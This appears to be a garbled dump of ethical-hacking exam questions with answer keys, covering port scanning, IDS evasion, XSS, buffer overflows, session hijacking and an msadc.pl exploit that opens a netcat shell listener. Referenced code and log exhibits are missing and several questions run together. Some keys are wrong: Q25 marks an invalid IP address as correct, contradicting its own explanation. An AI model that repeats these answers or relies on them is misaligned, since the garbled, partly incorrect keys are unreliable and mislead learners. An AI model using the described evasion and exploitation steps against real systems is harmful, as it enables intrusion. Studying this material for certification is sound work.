Hire more computer security monitoring personnel to monitor computer systems and networks.
C.
Make obtaining either a computer security certification or accreditation easier to achieve so more individuals feel that they are a part of something larger than life.
D.
Train more National Guard and reservist in the art of computer security to help out in times of emergency or crises.
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
Bridging the gap would consist of educating the white hats and the black hats equally so that their knowledge is relatively the same. Using books, articles, the internet, and professional training seminars is a way of completing this goal.
QUESTION 16
You wish to determine the operating system and type of web server being used. At the same time you wish to arouse no suspicion within the target organization.
While some of the methods listed below work, which holds the least risk of detection?
A.
Make some phone calls and attempt to retrieve the information using social engineering.
B.
Use nmap in paranoid mode and scan the web server.
C.
Telnet to the web server and issue commands to illicit a response.
D.
Use the netcraft web site look for the target organization's web site.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Netcraft is providing research data and analysis on many aspects of the Internet. Netcraft has explored the Internet since 1995 and is a respected authority on the market share of web servers, operating systems, hosting providers, ISPs, encrypted transactions, electronic commerce, scripting languages and content technologies on the internet.
QUESTION 17
Jenny a well known hacker scanning to remote host of 204.4.4.4 using nmap. She got the scanned output but she saw that 25 port states is filtered.
What is the meaning of filtered port State?
A.
Can Accessible
B.
Filtered by firewall
C.
Closed
D.
None of above
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: The state is either open, filtered, closed, or unfiltered. Filtered means that a firewall, filter, or other network obstacle is blocking the port so that Nmap cannot tell whether it is open or closed.
QUESTION 18
Which of the following activities will not be considered passive footprinting?
A.
Go through the rubbish to find out any information that might have been discarded
B.
Search on financial site such as Yahoo Financial to identify assets
C.
Scan the range of IP address found in the target DNS database
D.
Perform multiples queries using a search engine
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: Scanning is not considered to be passive footprinting.
QUESTION 19
You want to scan the live machine on the LAN, what type of scan you should use?
A.
Connect
B.
SYN
C.
TCP
D.
UDP
E.
PING
Correct Answer: E
Explanation
Explanation/Reference:
Explanation: The ping scan is one of the quickest scans that nmap performs, since no actual ports are queried. Unlike a port scan where thousands of packets are transferred between two stations, a ping scan requires only two frames. This scan is useful for locating active devices or determining if ICMP is passing through a firewall.
QUESTION 20
Consider the following code:
If an attacker can trick a victim user to click a link like this and the web application does not validate input, then the victim's browser will pop up an alert showing the users current set of cookies. An attacker can do much more damage, including stealing passwords, resetting your home page or redirecting the user to another web site.
What is the countermeasure against XSS scripting?
A.
Create an IP access list and restrict connections based on port number
B.
Replace "<" and ">" characters with ?lt; and ?gt; using server scripts
C.
Disable Javascript in IE and Firefox browsers
D.
Connect to the server using HTTPS protocol instead of HTTP
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: The correct answer contains a string which is an HTML-quoted version of the original script. The quoted versions of these characters will appear as literals in a browser, rather than with their special meaning as HTML tags. This prevents any script from being injected into HTML output, but it also prevents any user-supplied input from being formatted with benign HTML.
Topic 13, Web Based Password Cracking Techniques
QUESTION 21
On a backdoored Linux box there is a possibility that legitimate programs are modified or trojaned.
How is it possible to list processes and uids associated with them in a more reliable manner?
A.
Use "Is"
B.
Use "lsof"
C.
Use "echo"
D.
Use "netstat"
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: lsof is a command used in many Unix-like systems that is used to report a list of all open files and the processes that opened them. It works in and supports several UNIX flavors.
QUESTION 22
John is discussing security with Jane. Jane had mentioned to John earlier that she suspects an LKM has been installed on her server. She believes this is the reason that the server has been acting erratically lately. LKM stands for Loadable Kernel Module.
What does this mean in the context of Linux Security?
A.
Loadable Kernel Modules are a mechanism for adding functionality to a file system without requiring a kernel recompilation.
B.
Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel after it has been recompiled and the system rebooted.
C.
Loadable Kernel Modules are a mechanism for adding auditing to an operating-system kernel without requiring a kernel recompilation.
D.
Loadable Kernel Modules are a mechanism for adding functionality to an operating-system kernel without requiring a kernel recompilation.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Loadable Kernel Modules, or LKM, are object files that contain code to extend the running kernel, or so-called base kernel, without the need of a kernel recompilation. Operating systems other than Linux, such as BSD systems, also provide support for LKM's. However, the Linux kernel generally makes far greater and more versatile use of LKM's than other systems. LKM's are typically used to add support for new hardware, filesystems or for adding system calls. When the functionality provided by an LKM is no longer required, it can be unloaded, freeing memory.
QUESTION 23
Peter extracts the SID list from Windows 2008 Server machine using the hacking tool "SIDExtracter". Here is the output of the SIDs:
From the above list identify the user account with System Administrator privileges?
A.
John
B.
Rebecca
C.
Sheela
D.
Shawn
E.
Somia
F.
Chang
G.
Micah
Correct Answer: F
QUESTION 24
You are trying to hijack a telnet session from a victim machine with IP address 10.0.0.5 to Cisco router at 10.0.0.1. You sniff the traffic and attempt to predict the sequence and acknowledgement numbers to successfully hijack the telnet session.
Here is the captured data in tcpdump.
What are the next sequence and acknowledgement numbers that the router will send to the victim machine?
While examining a log report you find out that an intrusion has been attempted by a machine whose IP address is displayed as 0xde.0xad.0xbe.0xef. It looks to you like a hexadecimal number. You perform a ping 0xde.0xad.0xbe.0xef.
Which of the following IP addresses will respond to the ping and hence will likely be responsible for the the intrusion ?
A.
192.10.25.9
B.
10.0.3.4
C.
203.20.4.5
D.
222.273.290.239
E.
222.173.290.239
Correct Answer: E
Explanation
Explanation/Reference:
Explanation:
Convert the hex number to binary and then to decimal. 0xde.0xad.0xbe.0xef translates to 222.173.190.239 and not 222.273.290.239
0xef = 15*1 = 15 14*16 = 224 ______ = 239
0xbe = 14*1 = 14 11*16 = 176 ______ = 190
0xad = 13*1 = 13 10*16 = 160 ______ = 173
0xde = 14*1 = 14 13*16 = 208 ______ = 222
QUESTION 26
What hacking attack is challenge/response authentication used to prevent?
A.
Replay attacks
B.
Scanning attacks
C.
Session hijacking attacks
D.
Password cracking attacks
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it. With a challenge/response authentication you ensure that captured packets can't be retransmitted without a new authentication.
QUESTION 27
What techniques would you use to evade IDS during a Port Scan? (Select 4 answers)
A.
Use fragmented IP packets
B.
Spoof your IP address when launching attacks and sniff responses from the server
C.
Overload the IDS with Junk traffic to mask your scan
D.
Use source routing (if possible)
E.
Connect to proxy servers or compromised Trojaned machines to launch attacks
Correct Answer: ABDE
QUESTION 28
You are configuring the security options of your mail server and you would like to block certain file attachments to prevent viruses and malware from entering the users inbox.
Which of the following file formats will you block?
The programmers on your team are analyzing the free, open source software being used to run FTP services on a server. They notice that there is an excessive number of fgets() and gets() on the source code. These C++ functions do not check bounds.
What kind of attack is this program susceptible to?
A.
Buffer of Overflow
B.
Denial of Service
C.
Shatter Attack
D.
Password Attack
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: C users must avoid using dangerous functions that do not check bounds unless they've ensured that the bounds will never get exceeded. A buffer overflow occurs when you write a set of values (usually a string of characters) into a fixed length buffer and write at least one value outside that buffer's boundaries (usually past its end). A buffer overflow can occur when reading input from the user into a buffer, but it can also occur during other kinds of processing in a program.
QUESTION 30
Which one of the following attacks will pass through a network layer intrusion detection system undetected?
A.
A teardrop attack
B.
A SYN flood attack
C.
A DNS spoofing attack
D.
A test.cgi attack
Correct Answer: D
Explanation
Explanation/Reference:
Explanation:
Because a network-based IDS reviews packets and headers, it can also detect denial of service (DoS) attacks
Not A or B: The following sections discuss some of the possible DoS attacks available.
Smurf Fraggle
SYN Flood Teardrop DNS DoS Attacks"
QUESTION 31
You are performing a port scan with nmap. You are in hurry and conducting the scans at the fastest possible speed. However, you don't want to sacrifice reliability for speed. If stealth is not an issue, what type of scan should you run to get very reliable results?
A.
XMAS scan
B.
Stealth scan
C.
Connect scan
D.
Fragmented packet scan
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: A TCP Connect scan, named after the Unix connect() system call is the most accurate scanning method. If a port is open the operating system completes the TCP three-way handshake, and the port scanner immediately closes the connection.
QUESTION 32
How would you describe a simple yet very effective mechanism for sending and receiving unauthorized information or data between machines without alerting any firewalls and IDS's on a network?
A.
Covert Channel
B.
Crafted Channel
C.
Bounce Channel
D.
Deceptive Channel
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: A covert channel is described as: "any communication channel that can be exploited by a process to transfer information in a manner that violates the systems security policy." Essentially, it is a method of communication that is not part of an actual computer system design, but can be used to transfer information to users or system processes that normally would not be allowed access to the information.
QUESTION 33
A buffer overflow occurs when a program or process tries to store more data in a buffer (temporary data storage area) then it was intended to hold.
What is the most common cause of buffer overflow in software today?
A.
Bad permissions on files.
B.
High bandwidth and large number of users.
C.
Usage of non standard programming languages.
D.
Bad quality assurance on software produced.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Technically, a buffer overflow is a problem with the program's internal implementation.
QUESTION 34
What happens when one experiences a ping of death?
A.
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP) and the "type" field in the ICMP header is set to 18 (Address Mask Reply).
B.
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP), the Last Fragment bit is set, and (IP offset ` 8) + (IP data length) >65535.In other words, the IP offset (which represents the starting position of this fragment in the original packet, and which is in 8-byte units) plus the rest of the packet is greater than the maximum size for an IP packet.
C.
This is when an IP datagram is received with the "protocol" field in the IP header set to 1 (ICMP) and the source equal to destination address.
D.
This is when an the IP header is set to 1 (ICMP) and the "type" field in the ICMP header is set to 5 (Redirect).
Correct Answer: B
Explanation
Explanation/Reference:
Explanation:
A hacker can send an IP packet to a vulnerable machine such that the last fragment contains an offest where (IP offset *8) + (IP data length)>65535. This means that when the packet is reassembled, its total length is larger than the legal limit, causing buffer overruns in the machine's OS (becouse the buffer sizes are defined only to accomodate the maximum allowed size of the packet based on RFC 791)...IDS can generally recongize such attacks by looking for packet fragments that have the IP header's protocol field set to 1 (ICMP), the last bit set, and (IP offset *8) +(IP data length)>65535" CCIE Professional Development Network Security Principles and Practices by Saadat Malik pg 414 "Ping of Death" attacks cause systems to react in an unpredictable fashion when receiving oversized IP packets. TCP/IP allows for a maximum packet size of up to 65536 octets (1 octet = 8 bits of data), containing a minimum of 20 octets of IP header information and zero or more octets of optional information, with the rest of the packet being data. Ping of Death attacks can cause crashing, freezing, and rebooting.
QUESTION 35
In Buffer Overflow exploit, which of the following registers gets overwritten with return address of the exploit code?
A.
EIP
B.
ESP
C.
EAP
D.
EEP
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: EIP is the instruction pointer which is a register, it points to your next command.
QUESTION 36
Anonymizer sites access the Internet on your behalf, protecting your personal information from disclosure. An anonymizer protects all of your computer's identifying information while it surfs for you, enabling you to remain at least one step removed from the sites you visit.
You can visit Web sites without allowing anyone to gather information on sites visited by you. Services that provide anonymity disable pop-up windows and cookies, and conceal visitor's IP address.
These services typically use a proxy server to process each HTTP request. When the user requests a Web page by clicking a hyperlink or typing a URL into their browser, the service retrieves and displays the information using its own server. The remote server (where the requested Web page resides) receives information on the anonymous Web surfing service in place of your information.
In which situations would you want to use anonymizer? (Select 3 answers)
A.
Increase your Web browsing bandwidth speed by using Anonymizer
B.
To protect your privacy and Identity on the Internet
C.
To bypass blocking applications that would prevent access to Web sites or parts of sites that you want to visit.
D.
Post negative entries in blogs without revealing your IP identity
Correct Answer: BCD
QUESTION 37
What are two things that are possible when scanning UDP ports? (Choose two.
A.
A reset will be returned
B.
An ICMP message will be returned
C.
The four-way handshake will not be completed
D.
An RFC 1294 message will be returned
E.
Nothing
Correct Answer: BE
Explanation
Explanation/Reference:
Explanation: Closed UDP ports can return an ICMP type 3 code 3 message. No response can mean the port is open or the packet was silently dropped.
QUESTION 38
What attack is being depicted here?
A.
Cookie Stealing
B.
Session Hijacking
C.
Cross Site scripting
D.
Parameter Manipulation
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Manipulating the data sent between the browser and the web application to an attacker's advantage has long been a simple but effective way to make applications do things in a way the user often shouldn't be able to. In a badly designed and developed web application, malicious users can modify things like prices in web carts, session tokens or values stored in cookies and even HTTP headers. In this case the user has elevated his rights.
QUESTION 39
You are conducting an idlescan manually using HPING2. During the scanning process, you notice that almost every query increments the IPID-regardless of the port being queried. One or two of the queries cause the IPID to increment by more than one value.
Which of he following options would be a possible reason?
A.
Hping2 can't be used for idlescanning
B.
The Zombie you are using is not truly idle
C.
These ports are actually open on the target system
D.
A stateful inspection firewall is resetting your queries
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: If the IPID increments more than one value that means that there has been network traffic between the queries so the zombie is not idle.
QUESTION 40
Which of the following Nmap commands would be used to perform a stack fingerprinting?
A.
Nmap -O -p80 <host(s.>
B.
Nmap -hU -Q<host(s.>
C.
Nmap -sT -p <host(s.>
D.
Nmap -u -o -w2 <host>
E.
Nmap -sS -0p target
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: This option activates remote host identification via TCP/IP fingerprinting. In other words, it uses a bunch of techniques to detect subtlety in the underlying operating system network stack of the computers you are scanning. It uses this information to create a "fingerprint" which it compares with its database of known OS fingerprints (the nmap-os-fingerprints file. to decide what type of system you are scanning.
QUESTION 41
What is the expected result of the following exploit?
A.
Opens up a telnet listener that requires no username or password.
B.
Create a FTP server with write permissions enabled.
C.
Creates a share called "sasfile" on the target system.
D.
Creates an account with a user name of Anonymous and a password of [email protected].
Correct Answer: A
Explanation
Explanation/Reference:
Explanation:
The script being depicted is in perl (both msadc.pl and the script their using as a wrapper) -- $port, $your, $user, $pass, $host are variables that hold the port # of a DNS server, an IP, username, and FTP password. $host is set to argument variable 0 (which means the string typed directly after the command). Essentially what happens is it connects to an FTP server and downloads nc.exe (the TCP/IP swiss-army knife -- netcat) and uses nc to open a TCP port spawning cmd.exe (cmd.exe is the Win32 DOS shell on NT/2000/2003/XP), cmd.exe when spawned requires NO username or password and has the permissions of the username it is being executed as (probably guest in this instance, although it could be administrator). The #'s in the script means the text following is a comment, notice the last line in particular, if the # was removed the script would spawn a connection to itself, the host system it was running on.
QUESTION 42
Web servers are often the most targeted and attacked hosts on organizations' networks. Attackers may exploit software bugs in the Web server, underlying operating system, or active content to gain unauthorized access.
Identify the correct statement related to the above Web Server installation?
A.
Lack of proper security policy, procedures and maintenance
B.
Bugs in server software, OS and web applications
C.
Installing the server with default settings
D.
Unpatched security flaws in the server software, OS and applications
Correct Answer: C
QUESTION 43
In Trojan terminology, what is a covert channel?
A.
A channel that transfers information within a computer system or network in a way that violates the security policy
B.
A legitimate communication path within a computer system or network for transfer of data
C.
It is a kernel operation that hides boot processes and services to mask detection
D.
It is Reverse tunneling technique that uses HTTPS protocol instead of HTTP protocol to establish connections
Correct Answer: A
QUESTION 44
Lauren is performing a network audit for her entire company. The entire network is comprised of around 500 computers. Lauren starts an ICMP ping sweep by sending one IP packet to the broadcast address of the network, but only receives responses from around five hosts.
Why did this ping sweep only produce a few responses?
A.
Only Windows systems will reply to this scan.
B.
A switched network will not respond to packets sent to the broadcast address.
C.
Only Linux and Unix-like (Non-Windows) systems will reply to this scan.
D.
Only servers will reply to this scan.
Correct Answer: C
QUESTION 45
Doug is conducting a port scan of a target network. He knows that his client target network has a web server and that there is a mail server also which is up and running. Doug has been sweeping the network but has not been able to elicit any response from the remote target.
Which of the following could be the most likely cause behind this lack of response? Select 4.
A.
UDP is filtered by a gateway
B.
The packet TTL value is too low and cannot reach the target
C.
The host might be down
D.
The destination network might be down
E.
The TCP windows size does not match
F.
ICMP is filtered by a gateway
Correct Answer: ABCF
Explanation
Explanation/Reference:
Explanation: If the destination host or the destination network is down there is no way to get an answer and if TTL (Time To Live) is set too low the UDP packets will "die" before reaching the host because of too many hops between the scanning computer and the target. The TCP receive window size is the amount of received data (in bytes) that can be buffered during a connection. The sending host can send only that amount of data before it must wait for an acknowledgment and window update from the receiving host and ICMP is mainly used for echo requests and not in port scans.
QUESTION 46
Which of the following are potential attacks on cryptography? (Select 3)
A.
One-Time-Pad Attack
B.
Chosen-Ciphertext Attack
C.
Man-in-the-Middle Attack
D.
Known-Ciphertext Attack
E.
Replay Attack
Correct Answer: BCE
Explanation
Explanation/Reference:
Explanation: A chosen-ciphertext attack (CCA) is an attack model for cryptanalysis in which the cryptanalyst chooses a ciphertext and causes it to be decrypted with an unknown key. Specific forms of this attack are sometimes termed "lunchtime" or "midnight" attacks, referring to a scenario in which an attacker gains access to an unattended decryption machine. In cryptography, a man-in-the-middle attack (MITM) is an attack in which an attacker is able to read, insert and modify at will, messages between two parties without either party knowing that the link between them has been compromised. The attacker must be able to observe and intercept messages going between the two victims. A replay attack is a form of network attack in which a valid data transmission is maliciously or fraudulently repeated or delayed. This is carried out either by the originator or by an adversary who intercepts the data and retransmits it, possibly as part of a masquerade attack by IP packet substitution (such as stream cipher attack).
QUESTION 47
Which of the following are well know password-cracking programs?(Choose all that apply.
A.
L0phtcrack
B.
NetCat
C.
Jack the Ripper
D.
Netbus
E.
John the Ripper
Correct Answer: AE
Explanation
Explanation/Reference:
Explanation: L0phtcrack and John the Ripper are two well know password-cracking programs. Netcat is considered the Swiss-army knife of hacking tools, but is not used for password cracking
QUESTION 48
A particular database threat utilizes a SQL injection technique to penetrate a target system.
How would an attacker use this technique to compromise a database?
A.
An attacker uses poorly designed input validation routines to create or alter SQL commands to gain access to unintended data or execute commands of the database
B.
An attacker submits user input that executes an operating system command to compromise a target system
C.
An attacker gains control of system to flood the target system with requests, preventing legitimate users from gaining access
D.
An attacker utilizes an incorrect configuration that leads to access with higher-than-expected privilege of the database
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: Using the poorly designed input validation to alter or steal data from a database is a SQL injection attack.
QUESTION 49
Which type of scan does not open a full TCP connection?
A.
Stealth Scan
B.
XMAS Scan
C.
Null Scan
D.
FIN Scan
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: Stealth Scan: Instead of completing the full TCP three-way-handshake a full connection is not made. A SYN packet is sent to the system and if a SYN/ACK packet is received it is assumed that the port on the system is active. In that case a RST/ACK will be sent which will determined the listening state the system is in. If a RST/ACK packet is received, it is assumed that the port on the system is not active.
QUESTION 50
Exhibit: * Missing* Jason's Web server was attacked by a trojan virus. He runs protocol analyzer and notices that the trojan communicates to a remote server on the Internet. Shown below is the standard "hexdump" representation of the network packet, before being decoded. Jason wants to identify the trojan by looking at the destination port number and mapping to a trojan-port number database on the Internet. Identify the remote server's port number by decoding the packet?
A.
Port 1890 (Net-Devil Trojan)
B.
Port 1786 (Net-Devil Trojan)
C.
Port 1909 (Net-Devil Trojan)
D.
Port 6667 (Net-Devil Trojan)
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: From trace, 0x1A0B is 6667, IRC Relay Chat, which is one port used. Other ports are in the 900's.
QUESTION 51
John has scanned the web server with NMAP. However, he could not gather enough information to help him identify the operating system running on the remote host accurately.
What would you suggest to John to help identify the OS that is being used on the remote web server?
A.
Connect to the web server with a browser and look at the web page.
B.
Connect to the web server with an FTP client.
C.
Telnet to port 8080 on the web server and look at the default page code.
D.
Telnet to an open port and grab the banner.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Most people don't care about changing the banners presented by applications listening to open ports and therefore you should get fairly accurate information when grabbing banners from open ports with, for example, a telnet application.
QUESTION 52
Reflective DDoS attacks do not send traffic directly at the targeted host. Instead, they usually spoof the originating IP addresses and send the requests at the reflectors. These reflectors (usually routers or high-powered servers with a large amount of network resources at their disposal) then reply to the spoofed targeted traffic by sending loads and loads of data to the final target.
How would you detect these reflectors on your network?
A.
Run floodnet tool to detect these reflectors
B.
Look for the banner text by running Zobbie Zappers tools
C.
Run Vulnerability scanner on your network to detect these reflectors
D.
Scan the network using Nmap for the services used by these reflectors
Your boss is attempting to modify the parameters of a Web-based application in order to alter the SQL statements that are parsed to retrieve data from the database.
What would you call such an attack?
A.
SQL Input attack
B.
SQL Piggybacking attack
C.
SQL Select attack
D.
SQL Injection attack
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: This technique is known as SQL injection attack
QUESTION 54
One of the most common and the best way of cracking RSA encryption is to being to derive the two prime numbers, which are used in the RSA PKI mathematical process. If the two numbers p and q are discovered through a _________________ process, then the private key can be derived.
A.
Factorization
B.
Prime Detection
C.
Hashing
D.
Brute-forcing
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: In April 1994, an international cooperative group of mathematicians and computer scientists solved a 17-year-old challenge problem, the factoring of a 129-digit number, called RSA-129, into two primes. That is, RSA-129 = 1143816257578888676692357799761466120102182 9672124236256256184293570693524573389783059 7123563958705058989075147599290026879543541
= 34905295108476509491478496199038 98133417764638493387843990820577 times 32769132993266709549961988190834 461413177642967992942539798288533. Se more at http://en.wikipedia.org/wiki/RSA_Factoring_Challenge
QUESTION 55
Say that "abigcompany.com" had a security vulnerability in the javascript on their website in the past. They recently fixed the security vulnerability, but it had been there for many months. Is there some way to 4go back and see the code for that error? Select the best answer.
A.
archive.org
B.
There is no way to get the changed webpage unless you contact someone at the company
C.
Usenet
D.
Javascript would not be in their html so a service like usenet or archive wouldn't help you
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: Archive.org is a website that periodically archives internet content. They have archives of websites over many years. It could be used to go back and look at the javascript as javascript would be in the HTML code.
QUESTION 56
Vulnerability scanners are automated tools that are used to identify vulnerabilities and misconfigurations of hosts. They also provide information regarding mitigating discovered vulnerabilities.
Which of the following statements is incorrect?
A.
Vulnerability scanners attempt to identify vulnerabilities in the hosts scanned.
B.
Vulnerability scanners can help identify out-of-date software versions, missing patches, or system upgrades
C.
They can validate compliance with or deviations from the organization's security policy
D.
Vulnerability scanners can identify weakness and automatically fix and patch the vulnerabilities without user intervention
Correct Answer: D
QUESTION 57
MX record priority increases as the number increases.(True/False.
A.
True
B.
False
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: The highest priority MX record has the lowest number.
QUESTION 58
Jason is the network administrator of Spears Technology. He has enabled SNORT IDS to detect attacks going through his network. He receives Snort SMS alerts on his iPhone whenever there is an attempted intrusion to his network.
He receives the following SMS message during the weekend.
An attacker Chew Siew sitting in Beijing, China had just launched a remote scan on Jason's network with the hping command.
Which of the following hping2 command is responsible for the above snort alert?
Given the following extract from the snort log on a honeypot, what service is being exploited? :
A.
FTP
B.
SSH
C.
Telnet
D.
SMTP
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: The connection is done to 172.16.1.104:21.
QUESTION 60
What does ICMP (type 11, code 0) denote?
A.
Unknown Type
B.
Time Exceeded
C.
Source Quench
D.
Destination Unreachable
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: An ICMP Type 11, Code 0 means Time Exceeded [RFC792], Code 0 = Time to Live exceeded in Transit and Code 1 = Fragment Reassembly Time Exceeded.
QUESTION 61
Bob has a good understanding of cryptography, having worked with it for many years. Cryptography is used to secure data from specific threats but it does not secure the data from the specific threats but it does no secure the application from coding errors. It can provide data privacy; integrity and enable strong authentication but it can't mitigate programming errors.
What is a good example of a programming error that Bob can use to explain to the management how encryption will not address all their security concerns?
A.
Bob can explain that using a weak key management technique is a form of programming error
B.
Bob can explain that using passwords to derive cryptographic keys is a form of a programming error
C.
Bob can explain that a buffer overflow is an example of programming error and it is a common mistake associated with poor programming technique
D.
Bob can explain that a random number generation can be used to derive cryptographic keys but it uses a weak seed value and this is a form of a programming error
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: In computer security and programming, a buffer overflow, or buffer overrun, is a programming error which may result in a memory access exception and program termination, or in the event of the user being malicious, a possible breach of system security.
QUESTION 62
Giles is the network administrator for his company, a graphics design company based in Dallas. Most of the network is comprised of Windows servers and workstations, except for some designers that prefer to use MACs. These MAC users are running on the MAC OS X operating system. These MAC users also utilize iChat to talk between each other. Tommy, one of these MAC users, calls Giles and says that his computer is running very slow. Giles then gets more calls from the other MAC users saying they are receiving instant messages from Tommy even when he says he is not on his computer. Giles immediately unplugs Tommy's computer from the network to take a closer look. He opens iChat on Tommy's computer and it says that it sent a file called latestpics.tgz to all the other MAC users. Tommy says he never sent those files. Giles also sees that many of the computer's applications appear to be altered. The path where the files should be has an altered file and the original application is stored in the file's resource fork.
What has Giles discovered on Tommy's computer?
A.
He has discovered OSX/Chat-burner virus on Tommy's computer
B.
Giles has found the OSX/Leap-A virus on Tommy's computer
C.
This behavior is indicative of the OSX/Inqtana.A virus
D.
On Tommy's computer, Giles has discovered an apparent infection of the OSX/Transmitter.B virus
Correct Answer: B
Explanation
Explanation/Reference:
Explanation:
OSX.Leap.A is a worm that targets installs of Macintosh OS X and spreads via iChat Instant Messenger program. http://www.symantec.com/security_response/writeup.jsp?docid=2006-021614-4006-99
QUESTION 63
Symmetric encryption algorithms are known to be fast but present great challenges on the key management side. Asymmetric encryption algorithms are slow but allow communication with a remote host without having to transfer a key out of band or in person. If we combine the strength of both crypto systems where we use the symmetric algorithm to encrypt the bulk of the data and then use the asymmetric encryption system to encrypt the symmetric key, what would this type of usage be known as?
A.
Symmetric system
B.
Combined system
C.
Hybrid system
D.
Asymmetric system
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: Because of the complexity of the underlying problems, most public-key algorithms involve operations such as modular multiplication and exponentiation, which are much more computationally expensive than the techniques used in most block ciphers, especially with typical key sizes. As a result, public-key cryptosystems are commonly "hybrid" systems, in which a fast symmetric-key encryption algorithm is used for the message itself, while the relevant symmetric key is sent with the message, but encrypted using a public-key algorithm. Similarly, hybrid signature schemes are often used, in which a cryptographic hash function is computed, and only the resulting hash is digitally signed.
QUESTION 64
Bill has successfully executed a buffer overflow against a Windows IIS web server. He has been able to spawn an interactive shell and plans to deface the main web page. He first attempts to use the "Echo" command to simply overwrite index.html and remains unsuccessful. He then attempts to delete the page and achieves no progress. Finally, he tries to overwrite it with another page again in vain.
What is the probable cause of Bill's problem?
A.
The system is a honeypot.
B.
There is a problem with the shell and he needs to run the attack again.
C.
You cannot use a buffer overflow to deface a web page.
D.
The HTML file has permissions of ready only.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: The question states that Bill had been able to spawn an interactive shell. By this statement we can tell that the buffer overflow and its corresponding code was enough to spawn a shell. Any shell should make it possible to change the webpage. So we either don't have sufficient privilege to change the webpage (answer D) or it's a honeypot (answer A). We think the preferred answer is D
QUESTION 65
What are the two basic types of attacks?(Choose two.
A.
DoS
B.
Passive
C.
Sniffing
D.
Active
E.
Cracking
Correct Answer: BD
Explanation
Explanation/Reference:
Explanation: Passive and active attacks are the two basic types of attacks.
QUESTION 66
Which of the following statement correctly defines ICMP Flood Attack? (Select 2 answers)
A.
Bogus ECHO reply packets are flooded on the network spoofing the IP and MAC address
B.
The ICMP packets signal the victim system to reply and the combination of traffic saturates the bandwidth of the victim's network
C.
ECHO packets are flooded on the network saturating the bandwidth of the subnet causing denial of service
D.
A DDoS ICMP flood attack occurs when the zombies send large volumes of ICMP_ECHO_REPLY packets to the victim system.
Correct Answer: BD
QUESTION 67
Which of the following Trojans would be considered 'Botnet Command Control Center'?
A.
YouKill DOOM
B.
Damen Rock
C.
Poison Ivy
D.
Matten Kit
Correct Answer: C
QUESTION 68
What type of cookies can be generated while visiting different web sites on the Internet?
A.
Permanent and long term cookies.
B.
Session and permanent cookies.
C.
Session and external cookies.
D.
Cookies are all the same, there is no such thing as different type of cookies.
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: There are two types of cookies: a permanent cookie that remains on a visitor's computer for a given time and a session cookie the is temporarily saved in the visitor's computer memory during the time that the visitor is using the Web site. Session cookies disappear when you close your Web browser.
QUESTION 69
Choose one of the following pseudo codes to describe this statement:
If we have written 200 characters to the buffer variable, the stack should stop because it cannot hold any more data.
A.
If (I > 200) then exit (1)
B.
If (I < 200) then exit (1)
C.
If (I <= 200) then exit (1)
D.
If (I >= 200) then exit (1)
Correct Answer: D
QUESTION 70
Which of the following display filters will you enable in Ethereal to view the three-way handshake for a connection from host 192.168.0.1?
A.
ip == 192.168.0.1 and tcp.syn
B.
ip.addr = 192.168.0.1 and syn = 1
C.
ip.addr==192.168.0.1 and tcp.flags.syn
D.
ip.equals 192.168.0.1 and syn.equals on
Correct Answer: C
QUESTION 71
After studying the following log entries, what is the attacker ultimately trying to achieve as inferred from the log sequence?
Change the files Modification Access Creation times
D.
Download rootkits and passwords into a new directory
Correct Answer: C
QUESTION 72
What makes web application vulnerabilities so aggravating? (Choose two)
A.
They can be launched through an authorized port.
B.
A firewall will not stop them.
C.
They exist only on the Linux platform.
D.
They are detectable by most leading antivirus software.
Correct Answer: AB
Explanation
Explanation/Reference:
Explanation: As the vulnerabilities exists on a web server, incoming traffic on port 80 will probably be allowed and no firewall rules will stop the attack.
QUESTION 73
You have been using the msadc.pl attack script to execute arbitrary commands on an NT4 web server. While it is effective, you find it tedious to perform extended functions. On further research you come across a perl script that runs the following msadc functions:
What kind of exploit is indicated by this script?
A.
A buffer overflow exploit.
B.
A SUID exploit.
C.
A SQL injection exploit.
D.
A chained exploit.
E.
A buffer under run exploit.
Correct Answer: D
QUESTION 74
Bill has started to notice some slowness on his network when trying to update his company's website while trying to access the website from the Internet. Bill asks the help desk manager if he has received any calls about slowness from the end users, but the help desk manager says that he has not. Bill receives a number of calls from customers that can't access the company website and can't purchase anything online. Bill logs on to a couple of this routers and notices that the logs shows network traffic is at all time high. He also notices that almost all the traffic is originating from a specific address.
Bill decides to use Geotrace to find out where the suspect IP is originates from. The Geotrace utility runs a traceroute and finds that IP is coming from Panama. Bill knows that none of his customers are in Panama so he immediately thinks that his company is under a Denial of Service attack. Now Bill needs to find out more about the originating IP Address.
What Internet registry should Bill look in to find the IP Address?
A.
LACNIC
B.
ARIN
C.
RIPELACNIC
D.
APNIC
Correct Answer: A
Explanation
Explanation/Reference:
Explanation: LACNIC is the Latin American and Caribbean Internet Addresses Registry that administers IP addresses, autonomous system numbers, reverse DNS, and other network resources for that region.
QUESTION 75
